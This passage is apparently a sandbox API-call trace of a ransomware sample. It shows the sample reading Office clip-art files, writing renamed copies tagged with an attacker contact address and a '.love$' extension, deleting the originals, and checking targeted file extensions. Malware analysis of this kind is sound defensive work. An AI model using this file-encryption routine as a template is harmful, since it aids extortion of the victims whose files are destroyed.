SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0264.018] GetLastError () returned 0x0 [0264.018] ReadFile (in: hFile=0x3f4, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x2dae, lpOverlapped=0x0) returned 1 [0264.021] WriteFile (in: hFile=0x568, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x2db0, lpOverlapped=0x0) returned 1 [0264.024] ReadFile (in: hFile=0x3f4, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0264.024] WriteFile (in: hFile=0x568, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0264.024] SetEndOfFile (hFile=0x568) returned 1 [0264.024] CloseHandle (hObject=0x568) returned 1 [0264.024] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.024] SetEndOfFile (hFile=0x3f4) returned 1 [0264.029] CloseHandle (hObject=0x3f4) returned 1 [0264.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0264.029] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 1 [0264.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0264.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0264.032] lstrlenW (lpString=".doc") returned 4 [0264.032] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.032] lstrlenW (lpString=".docx") returned 5 [0264.032] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0264.033] lstrlenW (lpString=".pdf") returned 4 [0264.033] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.033] lstrlenW (lpString=".xls") returned 4 [0264.033] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.033] lstrlenW (lpString=".xlsx") returned 5 [0264.033] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0264.033] lstrlenW (lpString=".ppt") returned 4 [0264.033] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0264.033] lstrlenW (lpString=".zip") returned 4 [0264.033] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.033] lstrlenW (lpString=".rar") returned 4 [0264.033] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.033] lstrlenW (lpString=".bz2") returned 4 [0264.033] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.033] lstrlenW (lpString=".7z") returned 3 [0264.033] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0264.033] lstrlenW (lpString=".dbf") returned 4 [0264.034] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0264.034] lstrlenW (lpString=".1cd") returned 4 [0264.034] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0264.034] lstrlenW (lpString=".jpg") returned 4 [0264.034] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0264.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0264.034] lstrlenW (lpString=".doc") returned 4 [0264.034] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.034] lstrlenW (lpString=".docx") returned 5 [0264.034] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0264.034] lstrlenW (lpString=".pdf") returned 4 [0264.034] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.034] lstrlenW (lpString=".xls") returned 4 [0264.034] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.034] lstrlenW (lpString=".xlsx") returned 5 [0264.034] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0264.034] lstrlenW (lpString=".ppt") returned 4 [0264.035] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0264.035] lstrlenW (lpString=".zip") returned 4 [0264.035] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.035] lstrlenW (lpString=".rar") returned 4 [0264.357] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.357] lstrlenW (lpString=".bz2") returned 4 [0264.378] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.378] lstrlenW (lpString=".7z") returned 3 [0264.378] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0264.378] lstrlenW (lpString=".dbf") returned 4 [0264.378] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0264.378] lstrlenW (lpString=".1cd") returned 4 [0264.378] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0264.378] lstrlenW (lpString=".jpg") returned 4 [0264.378] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.378] lstrcmpiW (lpString1=".JPG", lpString2=".love$") returned -1 [0264.379] lstrlenW (lpString="J0099156.JPG") returned 12 [0264.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0264.887] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=13954) returned 1 [0264.887] CloseHandle (hObject=0x4c8) returned 1 [0264.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 0x220 [0264.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0264.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0264.888] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.889] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0264.892] GetLastError () returned 0x0 [0264.892] ReadFile (in: hFile=0x4c8, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x3682, lpOverlapped=0x0) returned 1 [0264.896] WriteFile (in: hFile=0x3f4, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x3690, lpOverlapped=0x0) returned 1 [0264.898] ReadFile (in: hFile=0x4c8, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0264.898] WriteFile (in: hFile=0x3f4, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0264.899] SetEndOfFile (hFile=0x3f4) returned 1 [0264.899] CloseHandle (hObject=0x3f4) returned 1 [0264.899] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.899] SetEndOfFile (hFile=0x4c8) returned 1 [0264.906] CloseHandle (hObject=0x4c8) returned 1 [0264.907] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0264.907] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 1 [0264.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0264.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0264.912] lstrlenW (lpString=".doc") returned 4 [0264.912] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.912] lstrlenW (lpString=".docx") returned 5 [0264.912] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0264.912] lstrlenW (lpString=".pdf") returned 4 [0264.912] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.912] lstrlenW (lpString=".xls") returned 4 [0264.912] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.912] lstrlenW (lpString=".xlsx") returned 5 [0264.912] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0264.912] lstrlenW (lpString=".ppt") returned 4 [0264.912] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0264.912] lstrlenW (lpString=".zip") returned 4 [0264.912] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.913] lstrlenW (lpString=".rar") returned 4 [0264.913] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.913] lstrlenW (lpString=".bz2") returned 4 [0264.913] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.913] lstrlenW (lpString=".7z") returned 3 [0264.913] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0264.913] lstrlenW (lpString=".dbf") returned 4 [0264.913] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0264.913] lstrlenW (lpString=".1cd") returned 4 [0264.913] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0264.914] lstrlenW (lpString=".jpg") returned 4 [0264.914] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0264.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0264.914] lstrlenW (lpString=".doc") returned 4 [0264.914] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.914] lstrlenW (lpString=".docx") returned 5 [0264.914] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0264.914] lstrlenW (lpString=".pdf") returned 4 [0264.914] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.914] lstrlenW (lpString=".xls") returned 4 [0264.914] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.914] lstrlenW (lpString=".xlsx") returned 5 [0264.914] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0264.914] lstrlenW (lpString=".ppt") returned 4 [0264.914] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0264.914] lstrlenW (lpString=".zip") returned 4 [0264.915] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.915] lstrlenW (lpString=".rar") returned 4 [0264.915] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.915] lstrlenW (lpString=".bz2") returned 4 [0264.915] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.915] lstrlenW (lpString=".7z") returned 3 [0264.915] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0264.915] lstrlenW (lpString=".dbf") returned 4 [0264.915] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0264.915] lstrlenW (lpString=".1cd") returned 4 [0264.915] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0264.915] lstrlenW (lpString=".jpg") returned 4 [0264.915] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.915] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0264.916] lstrlenW (lpString="J0099158.WMF") returned 12 [0264.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0264.917] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=26160) returned 1 [0264.917] CloseHandle (hObject=0x4c8) returned 1 [0264.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 0x220 [0264.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0264.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0264.918] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.918] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0264.920] GetLastError () returned 0x0 [0264.920] ReadFile (in: hFile=0x4c8, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x6630, lpOverlapped=0x0) returned 1 [0264.925] WriteFile (in: hFile=0x3f4, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x6640, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x6640, lpOverlapped=0x0) returned 1 [0264.927] ReadFile (in: hFile=0x4c8, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0264.927] WriteFile (in: hFile=0x3f4, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0264.927] SetEndOfFile (hFile=0x3f4) returned 1 [0264.928] CloseHandle (hObject=0x3f4) returned 1 [0264.928] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.928] SetEndOfFile (hFile=0x4c8) returned 1 [0266.127] CloseHandle (hObject=0x4c8) returned 1 [0266.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0266.426] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 1 [0266.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0266.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0266.819] lstrlenW (lpString=".doc") returned 4 [0266.819] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.819] lstrlenW (lpString=".docx") returned 5 [0266.819] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0266.819] lstrlenW (lpString=".pdf") returned 4 [0266.819] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.819] lstrlenW (lpString=".xls") returned 4 [0266.819] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.819] lstrlenW (lpString=".xlsx") returned 5 [0266.819] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0266.819] lstrlenW (lpString=".ppt") returned 4 [0266.819] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0266.819] lstrlenW (lpString=".zip") returned 4 [0266.819] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.819] lstrlenW (lpString=".rar") returned 4 [0266.820] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.820] lstrlenW (lpString=".bz2") returned 4 [0266.820] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.820] lstrlenW (lpString=".7z") returned 3 [0266.820] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0266.820] lstrlenW (lpString=".dbf") returned 4 [0266.820] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0266.820] lstrlenW (lpString=".1cd") returned 4 [0266.820] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0266.820] lstrlenW (lpString=".jpg") returned 4 [0266.820] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0266.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0266.820] lstrlenW (lpString=".doc") returned 4 [0266.820] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.820] lstrlenW (lpString=".docx") returned 5 [0266.820] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0266.820] lstrlenW (lpString=".pdf") returned 4 [0266.820] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.820] lstrlenW (lpString=".xls") returned 4 [0266.821] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.821] lstrlenW (lpString=".xlsx") returned 5 [0266.821] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0266.821] lstrlenW (lpString=".ppt") returned 4 [0266.821] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0266.821] lstrlenW (lpString=".zip") returned 4 [0266.821] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.821] lstrlenW (lpString=".rar") returned 4 [0266.821] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.821] lstrlenW (lpString=".bz2") returned 4 [0266.821] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.821] lstrlenW (lpString=".7z") returned 3 [0266.821] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0266.821] lstrlenW (lpString=".dbf") returned 4 [0266.821] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0266.821] lstrlenW (lpString=".1cd") returned 4 [0266.821] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0266.822] lstrlenW (lpString=".jpg") returned 4 [0266.822] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.822] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0266.822] lstrlenW (lpString="J0099164.WMF") returned 12 [0266.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0266.823] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=21946) returned 1 [0266.823] CloseHandle (hObject=0x4ac) returned 1 [0266.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 0x220 [0266.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0266.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0266.825] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.825] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0266.826] GetLastError () returned 0x0 